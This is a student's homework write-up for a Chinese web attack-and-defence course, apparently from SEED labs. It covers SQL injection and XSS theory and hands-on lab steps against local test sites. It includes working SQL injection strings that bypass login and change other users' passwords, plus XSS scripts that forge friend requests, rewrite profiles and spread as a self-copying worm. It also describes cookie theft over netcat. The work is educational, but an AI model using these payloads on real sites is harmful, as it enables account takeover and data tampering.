20199105 2019-2020-2 《网络攻防实践》 第十一周作业
这个作业属于哪个课程 :网络攻防实践
这个作业的要求在哪里 : 第十一次作业-Web应用程序安全攻防
我在这个课程的目标是 : 学习网络攻防相关技术并进行实践
这个作业在哪个具体方面帮助我实现目标:Web应用程序安全攻防知识及相关技术
一、知识点总结
知识思维导图
1. Web应用体系结构与安全威胁
1.1 Web应用体系结构
B/S计算结构
“瘦”客户端(浏览器):数据显示与展示内容渲染(render)功能
“胖”客户端:主要业务的计算处理;由Web服务器控件、Web应用程序、后端数据库构成,通过经典三层架构(表示层、业务逻辑层、数据层)组织与构建
通讯机制:两者使用HTTP/HTTPS应用层协议的post与get通信
经典三层架构:
-
表示层:接受Web客户端输入并显示结果
-
业务逻辑层:完成Web应用业务处理,实现技术:CGI、ASP、PHP等动态脚本
-
数据层:数据库与本地连接 数据库连接(ODBC、JDBC等)
1.2 Web应用安全威胁
-
针对浏览器与终端用户:以浏览器渗透攻击为核心的网页木马、Phishing网站钓鱼等
-
针对传输网络:HTTP明文传输协议的敏感信息监听、假冒身份攻击(网络层、传输层、应用层)、拒绝服务攻击等
-
针对操作系统:Web站点的宿主操作系统存在不同的远程渗透攻击和本地渗透攻击威胁
-
针对Web服务器软件:如IIS、Apache必然存在相应的安全漏洞与弱点
-
针对Web应用程序:在使用ASP、PHP等脚本语言实现Web应用程序时,由于不良编程习惯,导致安漏洞,如SQL注入攻击、XSS跨站脚本攻击等
-
针对Web数据安全:Web应用后台存储数据及客户输入可被窃取、篡改等
2. Web应用安全攻防技术
2.1 Web应用的信息收集
-
手工审查web应用程序结构和源代码
- 静态和动态生成的页面
查看源代码;隐藏信息;动态页面 - 目录结构
页面存储结构;目录文件枚举不安全配置 - 辅助性文件 如CSS级联样式表、XML样式表、JS文件、include文件等
- 输入表单
表单:Web应用程序接受用户输入的主要途径,可针对表单构造自动口令探测或注入攻击的请求,绕过表单正常处理,获得访问权 - 查询参数字符串
- 静态和动态生成的页面
-
自动下载与镜像web站点页面
Linux系统:lynx、wget等工具
Windows:TelePort Pro、Offline Explorer等功能强大
-
使用Google Hacking技术审查与探测Web应用程序
-
Web应用程序安全评估与漏洞探测
针对Web应用程序的攻击点:身份验证、会话管理、数据库操作、输入数据合法 /合理性检查
Web应用安全辅助分析工具:
① 浏览器插件:支持在浏览网站时,实时查看和修改传递给远端Web服务器的数据。具体而言是监控浏览器将要发给远端Web服务器的请求,当有新请求时,将其暂停并提交给分析人员进行查看/修改
TamperData / Live HTTP Header② 免费工具集:较浏览器插件有更强大的功能,一类工具以Web服务器与客户端之间的代理方式运行(Fiddler、Burp Suite、SPIKE Proxy),一类工具结合爬虫对Web站点进行源码爬取、分析与评估探测(Whisker结合Libwhisker/Nikto),一类工具为黑客攻击工具(NBSI、HDSI、Domain),防御方用于自检漏洞
③ 商业Web应用安全评估系统和漏洞扫描器
IBM-Appscan、WVS、极光、Jsky
2.2 web服务器平台中的安全漏洞分类
-
数据驱动的远程代码执行安全漏洞
-
服务器功能扩展模块漏洞
-
样本文件安全漏洞
-
源代码泄露
-
资源解析攻击
2.3 攻击Web应用程序
-
针对认证机制的攻击:针对用来确定用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用弱点、攻击口令恢复验证机制等
-
授权机制的攻击::针对用来确定用户、服务或应用是否具有执行请求权限的攻击手段,把偶哦信任/会话预测、利用弱点、会话身份窃取攻击等
-
客户端攻击:扰乱或渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等
-
命令执行攻击:在Web站点执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入等
-
信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等
-
逻辑攻击:扰乱或渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善等
OWASP组织公布的TOP 10 Web应用程序安全威胁:2017 OWASP TOP 10 项目
2.4 攻击Web数据内容
-
安全敏感数据泄露
-
网站篡改
-
不良信息内容上传
2.5 Web站点网络传输安全防护措施
• 尽量使用https协议,包含在那个Web站点传输的保密性、完整性、身份真实性,至少对登录过程进行加密保护
• 通过加密的连接通道来管理Web站点
• 对关键的Web服务器设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵监测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击
2.6 Web站点操作系统及服务安全设防措施
• 对Web站点的操作系统与服务器软件进行及时的补丁更新
• 对服务器的操作系统及开放服务进行远程安全漏洞扫描
• 采用提升系统与服务安全性的一般新设防措施
2.7 Web应用程序安全设防措施
• 谨慎考虑是否采用动态页面技术、是否支持客户端执行代码、是否允许接收用户输入
• 尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包,并定期更新、扫描漏洞
• 只在必要是自主或外包开发Web应用程序
• 使用日志功能
2.8 Web站点数据安全设防措施
-
提高网站内容维护人员的数据安全意识;培养注重个人隐私良好习惯;重视用户提交数据的合法性审查
-
对维护网站的数据安全实施日常监测和防护;提升Web站点安全性,避免网站被攻击之后的信息泄露、网站内容篡改与不良信息上传;对网站的安全配置进行检查;安排日常数据安全审核与检查机制
3. SQL注入(SQL Injection)
Web应用程序的输入验证不完善
执行由攻击者注入的恶意指令和代码
敏感信息泄露、权限提升或对系统的未授权访问
3.1 分类
根据攻击目标不同分为:
-
恶意读取、修改与操纵数据库的SQL注入攻击
-
在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击
-
在Web服务器端恶意执行操作系统命令的Shell注入攻击
-
其他注入攻击:LDAP注入、邮件命令注入、空字节注入、SSI注入、XPath注入、XML注入、XQuery注入等
3.2 SQL注入攻击原理
原理:利用Web应用程序数据层存在的输入验证不完善的安全漏洞,向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入输出等)输入一段精心构造的SQL查询命令,避免验证,从而使得注入代码获取访问权
攻击形式:绕过认证,获得非法权限;猜解后台数据库全部的信息注入可以借助数据库的存储过程进行提权等操作
步骤:
① 发现SQL注入点
通过构造SQL语句判断Web应用程序对输入是否严格检查或过滤,以确定是否存在注入点
注入点验证 —— 整数型参数
http://SITE/xxx.asp?some_rec = yyy' 返回错误提示信息
http://SITE/xxx.asp?some_rec = yyy and 1=1 返回正常页面
http://SITE/xxx.asp?some_rec = yyy and 1=2 返回空白页面
当输入and 1=1
时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1
,没有语法错误且逻辑判断为正确,所以返回正常页面
当输入and 1=2
时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2
,没有语法错误但是逻辑判断为假,所以返回空白页面
注入点验证 —— 字符串参数
http://SITE/xxx.asp?some_rec = yyy' 返回错误提示信息
http://SITE/xxx.asp?some_rec = yyy' and '1'='1 返回正常页面
http://SITE/xxx.asp?some_rec = yyy' and '1'='2 返回空白页面
当输入and '1'='1
时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'
,语法正确,逻辑判断正确,所以返回正确页面
当输入and '1'='2
时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'
,语法正确,但逻辑判断错误,所以返回空白页面
②判断后台数据类型
- 利用系统变量
db_name()>0
- 利用系统表
ACCESS系统表为msysobjects,在Web环境下无访问权限
MS SQL Server系统表为sysobjects,在Web环境下有访问权限
③后台数据库管理员用户口型猜解
- 猜解后台口令表表名
- 猜解字段名
- 猜解字段值: 二分法逼近
- 口令可能为MD5散列后的密文
④上传ASP后门,得到默认账户权限
ASP后门被上传至Web虚拟目录的Scripts下,攻击者通过浏览器访问它,进而获取Web服务器软件的默认账户权限
⑤本地权限提升
利用系统或某些特权应用服务安全漏洞;利用系统配置不当提升系统权限
⑥利用数据库扩展存储过程执行Shell命令
3.3 SQL注入攻击工具
sqlmap
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,日前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
SPIKE Proxy工具允许使用者对待注入的字符串进行定制,并执行自动化的SQL注入测试
mieliekoek.pl
以网站镜像工具生成的输出为输入,找出含有表单页面;允许在配置文件中对注入字符串进行修改
Wposion
能够在动态Web文档中找出SQL注入漏洞工具
Pangolin(穿山甲)
Pangolin一款(国内的)帮助渗透测试人员进行Sql注入测试的安全工具,能够通过一系列非常简单的操作,达到最大化的攻击测试效果,它从检测注入开始到最后控制目标系统都给出了测试步骤。
3.5 SQL注入攻击防范措施
-
使用类型安全的参数编码机制
-
凡是来自外部的用户输入,必须进行完备检查
-
将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
-
加强SQL数据库服务器的配置与连接
4. XSS跨站脚本攻击
4.1 XSS攻击技术原理
XSS跨站脚本漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意HTML或JavaScript代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入代码,从而可以获取用户敏感信息、客户端渗透攻击
实施XSS攻击需要具备两个条件:
一、需要向web页面注入恶意代码
二、这些恶意代码能够被浏览器成功的执行
4.2 XSS攻击类型
-
持久性XSS漏洞
漏洞形式:Web应用程序允许用户输入内容且持久保存并显示在网页上
攻击方式:攻击者利用跨站漏洞构建恶意脚本,对大量用户构成危害
应用:博客/留言/论坛/Wiki等
-
非持久性XSS漏洞
用户输入产生XSS反馈给该用户,需要结合社会工程学进行攻击
4.3 XSS跨站攻击防范措施
-
服务器端防范措施 —— “限制、拒绝、净化”
-
输入验证:对用户提交数据进行尽可能严格的验证与过滤
-
输出净化 HTMLEncode()方法
-
消除危险的输入点
-
-
客户端防范措施
-
提高浏览器访问非受信网站时的安全等级
-
关闭Cookie功能或设置为只读
-
提高安全意识,养成良好的浏览习惯
-
二、实验过程
配置实验环境
- 使用
sudo vim /etc/hosts
配置DNS,添加URL
- 使用sudo su命令提权,配置网站文件
/etc/apache2/sites-available/ 000-default.conf
熟悉SQL
- 使用
sudo mysqld_safe
启动mysql。mysql -u root –pseedubuntu
登录mysql控制终端,用户名为root,密码为seedubuntu(注意密码前无空格)
use Users;
加载Users数据库,show tables;
查看Users数据库的表
select * from credential;
查看credential表中信息,包括所有用户信息(id、name、salary等信息)
实践一:SQL注入攻击
对SELECT语句进行注入攻击
通过网页进行SQL注入攻击
通过命令行进行SQL注入攻击
对UPDATE语句进行注入攻击
修改自己账户信息
修改别人账户信息
修改别人账户密码
对SELECT语句进行注入攻击
- 首先,可以通过分析
/var/www/SQLInjecton
目录下的safe_home.php/ unsafe_home.php
文件,了解登录机制.从图中代码可以看到,input_uname
和hashed_pwd
为登陆验证的两个变量,其中密码采用SHA1算法加密
通过网页进行SQL注入攻击
- 使用firefox浏览器访问
www.SEEDLabSQLInjection.com
.去网上寻找了方法,根据文件提示,admin是一个已存在的用户名,可以使用。用单引号结束这个字符串,用#注释掉代码登录验证部分匹配密码的语句,因此密码空着就好
- 成功登录
通过命令行进行SQL注入攻击
curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。获得页面使用这是最简单的使用方法
-
使用curl可以发送HTTP请求,需要对请求中密码部分进行编码, ‘ 符号对应十六进制27,#对应十六进制23.编码可以参考博客将字母、符号转化为十六进制的方法
-
以Alice用户为例登录,在终端输入
curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Alice%27%23
可以看到一些关于Alice的信息输出
- 如果使用webpage登录显示如下图,可知攻击成功
对UPDATE语句进行注入攻击
攻击UPDATE语句比SELECT语句后果更严重,因为攻击者可以修改数据库
- 根据文档提示,这部分PHP代码在
unsafe edit backend.php
文件中(主要看sql语句)
- 用上述方法登录到Alice账户,选择
Edit Profile
.通过上述sql语句格式,编写攻击代码。此时我们只知道nickname为Alice,其余信息都无法填写,因此用#注释掉后面的语句,对nickname语句进行构造,‘, salary=’50000‘ where Name=’Alice‘; #
Sql语句
UPDATE credential SET nickname=’‘, salary=’1‘ where Name=’Alice‘; # ’,email=’$input_email’, …
- 原本Alice的salary为20000,如图可知成功修改为50000
- 用同样的方法,在登录Alice的账户情况下,也可以修改别的账户信息,例如将Boby的salary改为1,
‘, salary=’1‘ where Name=’Boby‘; #
.登录admin账户查看所有人信息,可以看到Boby的salary此时已修改成功
-
再过分一点,我们直接修改Boby的密码,这样就可以直接登录他的帐号(Boby卒于职场斗争).同理,构建nickname字段的值为',
Password=’ 522b276a356bdf39013dfabea2cd43e141ecc9e8 ‘ where Name='Boby'
-
这里要先对密码使用SHA1算法加密,将密文写入语句中,用我们设置的密码登录,成功
- 通过mysql终端验证,使用
select * from credential where Name=’Boby’;
命令查询Boby信息
实践二:XSS跨网站攻击
实践配置
配置文件部分与SQL注入攻击一起完成了
Elgg是一个非常受欢迎的社交网络开源web应用程序,它已经实现了一些措施来弥补XSS的威胁。但在实践中注释掉了一些对策,使Elgg易被攻击
HTTP Header Live:在实践中需要构造HTTP请求,使用此插件可以捕获和分析HTTP请求
- 安装LiveHTTPHeader
- 点击右上角图标,左侧会弹出SideBar框,选择
HTTP Header Live
即可
- 使用Firefox访问
http://www.xsslabelgg.com
,文档中给出了用户名和密码
1. 发布恶意消息以显示警告窗口
实验过程:在alice账号中Elgg配置文件中嵌入一个JavaScript程序,另一个账户Boby用户查看alice的个人资料,JavaScript程序将被执行,并将显示一个警告窗口(Boby的复仇计划 ing )
- 首先,登录alice账户,进入个人界面
- 选择左侧
Edit Profile
进行编辑,根据文档提示,在Brief description
中插入XSS攻击代码—— JavaScript<script> alert('xss');</script>
- 点击Save会弹出警告窗口
2. 发布恶意消息以显示Cookie
- 同理,修改参数如下图
- 弹出警告窗口,显示
3. 从受害者的机器上“窃取”Cookie
实验过程:上个实验,攻击者编写的恶意JavaScript代码可以打印出用户的cookie,但是只有用户自身可以看到cookie,攻击者看不到,本实验实现攻击者获取cookie。具体方法是构造恶意JavaScript代码插入一个标记,并将其src属性设置为攻击者。当JavaScript插入img标记时,浏览器尝试从src字段中的URL,目标主机会向攻击者发送一个TP GET请求,并在请求后附加cookie
- 编辑
Brief description
如下图,IP地址设置为127.0.0.1,端口号为5555
- 在SEED中重新打开一个终端(假装攻击者),使用netcat工具监听设置的端口5555,可以监听到cookie
4. 成为受害者的朋友
实验过程:要为受害者添加朋友,应该了解合法用户如何在Elgg中添加一个朋友。具体来说,我们需要弄清楚当用户添加好友时发送给服务器的内容。HTTP Header Live工具可以捕获HTTP请求消息的内容。我们了解了add-friend HTTP请求,就可以编写一个恶意的Javascript程序发送相同的HTTP请求
将Samy做为攻击者,攻击alice,使其自动添加Samy为好友
-
首先,并使用
HTTP Header Live
捕获HTTP消息信息,如图可知,请求的方式为POST,请求的地址为http://www.xsslabelgg.com/action/friends/add
,后面跟了friend= , &__elgg_ts= , &__elgg_token=
三个参数 -
Samy的
friend=47
,elgg_ts(时间戳)和elgg_token(标识)参数,是从WebBrower的Console中获取的,分别是elgg.security.token.__elgg_ts;
和elgg.security.token.__elgg_token;
编写Javascript代码(alice自动添加Samy)
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
上述代码应该放在Samy个人资料页面的About Me
中,以Edit HTML
模式编辑,先选择模式再粘贴代码(这里失败了好几次,问了同学才知道问题所在)。
- 登录Alice账号,访问Samy的个人主页(模拟受害者的活动),查看Alice的个人主页可以看到右侧好友列表里Samy的头像
- 有一件很神奇的事,我以Samy的身份查看自己的个人主页,结果自己还能添加自己为好友
5. 修改受害者主页
实验过程:与上一个实验类似,在受害者访问Samy的页面时,修改受害者的主页信息,了解如何构造HTTP POST请求,并编写恶意JavaScript程序
- 同样在选择
Edit Profile
时使用HTTP Header Live
工具可以捕获HTTP请求消息的内容,这里奇怪的是我尝试几次都没有捕获到POST请求,不过通过GET也可以分析出URL
编写Javascript代码(修改alice的profile)
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack. Hacked by samy</p> " + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=47;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
需要自己编写的主要是content、senurl、samyGuid
三个参数
- 上述代码放在Samy个人资料页面的
About Me
中,以Edit HTML
模式编辑.当alice访问samy主页时,自己的profile也被修改了
6. 写一个XSS蠕虫
实验过程:上述实验中的恶意JavaScript程序无法自我传播,现要编写一个蠕虫,使其他用户访问被感染者个人主页时,也会被感染XSS攻击。具体方法是将蠕虫本身的副本添加到受害者的配置文件中,这样受害者就变成了攻击者,实现自我传播
根据文本提示构造蠕虫代码
<script id=worm>
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀
var jsCode = document.getElementById("worm").innerHTML; ➁
var tailTag = "</" + "script>"; ➂
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃
alert(headerTag + jsCode + tailTag);
</script>
➁ 使用innerHTML
标签获取了worm当前块内的所有代码
➃ encodeURIComponent()
函数把字符串作为 URI 组件进行编码
将上述代码加入到上一问的代码中
<script id='worm' type='text/javascript'>
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>xss attack Hacked by Samy. will spread"+ wormCode + "</p>" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=47;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 首先以Alice身份访问Samy个人主页,被感染蠕虫
- 以Boby身份访问Alice个人主页,被感染蠕虫
三、学习中遇到的问题及解决
问题一:Apache启动错误
Apache2启动错误,可以按提示通过journalctl -xe打开错误日志。查看到000-default.conf文件第56行报错,发现是配置文件时输入错误,修改后正常
问题二:对UPDATE语句进行注入攻击之修改其他用户密码
错误:构建nickname字段的值为', Password=’alice haha‘ where Name='Boby'
通过mysql终端验证,使用select * from credential where Name=’Boby’;
命令查询Boby信息
可以看到,显示的密码是明文,正确输出应该是用SHA1算法加密后的密文。因此,构造命令传入的密码应该是加密后的密文
四、学习感想和体会
本章学习的SQL注入攻击和XSS脚本攻击是目前我觉得最有趣的实践了,实验过程循序渐进,比之前的实践更好地帮助理解了知识原理。
在XSS实践中“自动添加朋友”的实验逻辑有点绕,想了半天才弄清楚了攻击过程(被alice\samy\boby一会登录一会访问搞晕了)
想开学了...